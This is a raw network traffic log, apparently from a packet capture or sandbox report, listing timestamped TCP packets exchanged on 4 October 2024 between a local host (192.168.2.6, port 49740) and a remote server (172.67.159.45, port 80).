Oct 4, 2024 04:28:04.125838041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125850916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125864029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125891924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125917912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125929117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125940084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125965118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125983953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126036882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126049042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126059055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126070976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126081944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126082897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126094103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126116991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126133919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126164913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126177073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126193047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126204967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126216888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126218081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126226902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126239061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126250029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126267910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126283884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126341105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126352072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126363039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126399040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126478910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126491070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126501083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126512051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126523018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126527071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126533985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126544952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126545906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126555920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126566887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126578093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126580954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126589060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126610994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126630068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126672983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126713037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126720905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126724005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126765013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126773119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126785040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126796007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126806974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126823902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126844883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126939058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126950026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126960993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126971960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126983881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.126983881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.126995087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127006054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127012968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127017021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127053976 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127079964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127090931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127125025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127146006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127183914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127201080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127206087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127224922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127232075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127247095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127264023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127274036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127285004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127341986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127346992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127355099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127391100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127404928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127404928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127439022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127465010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127465963 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127485037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127495050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127506971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127532005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.127535105 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127563953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.127577066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.129262924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129276037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129287004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129317045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129316092 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.129348993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129349947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.129360914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129371881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.129376888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.129414082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208157063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208199024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208210945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208229065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208261013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208288908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208302975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208313942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208326101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208337069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208345890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208359957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208379984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208415031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208425999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208446980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208458900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208467007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208470106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208481073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208492041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.208496094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208517075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.208540916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.216698885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216711998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216722965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216768980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216777086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.216782093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216808081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.216809034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216819048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216820955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.216857910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.216872931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216933012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216941118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216949940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216959953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216968060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.216981888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.216993093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217012882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217032909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217081070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217149973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217159986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217170000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217180014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217190981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217200041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217205048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217210054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217219114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217241049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217262030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217339993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217351913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217389107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.217924118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217957973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.217967033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218008995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218013048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218019009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218050003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218084097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218095064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218110085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218118906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218127966 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218130112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218146086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218177080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218202114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218213081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218225002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218246937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218272924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218312025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218322992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218342066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218349934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218386889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218441963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218455076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218468904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218478918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218483925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218489885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218501091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218511105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218518972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218522072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218555927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218568087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218658924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218740940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218751907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218764067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218776941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218785048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218787909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218822002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218843937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.218939066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218950987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218961000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218971968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218983889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218993902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.218997955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219006062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219034910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219057083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219198942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219209909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219222069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219232082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219243050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219250917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219253063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219264984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219274998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219281912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219289064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219302893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219321012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219348907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219458103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219469070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219479084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219490051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219501019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219510078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219511032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219521999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219542027 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219566107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219685078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219696999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219707012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219717026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219727039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219737053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219738007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219748974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219757080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219758034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.219778061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.219799995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220176935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220189095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220199108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220210075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220220089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220226049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220231056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220242023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220252991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220261097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220279932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220298052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220468044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220479965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220489979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220500946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220513105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220520973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220523119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220541000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220550060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.220554113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220572948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.220599890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.221662045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221688986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221716881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.221730947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.221744061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221755028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221765995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221776009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221797943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.221828938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.221833944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221844912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.221884012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.300781012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300818920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300831079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300877094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.300887108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300898075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300908089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300913095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.300930977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.300949097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.300976038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.300991058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301018000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.301037073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301043034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.301052094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301063061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301074028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301093102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.301115036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301121950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.301126957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.301156998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.309962988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.309976101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.309987068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310005903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310022116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310024023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310034990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310045004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310050011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310055017 CEST	80	49740	172.67.159.45	192.168.2.6
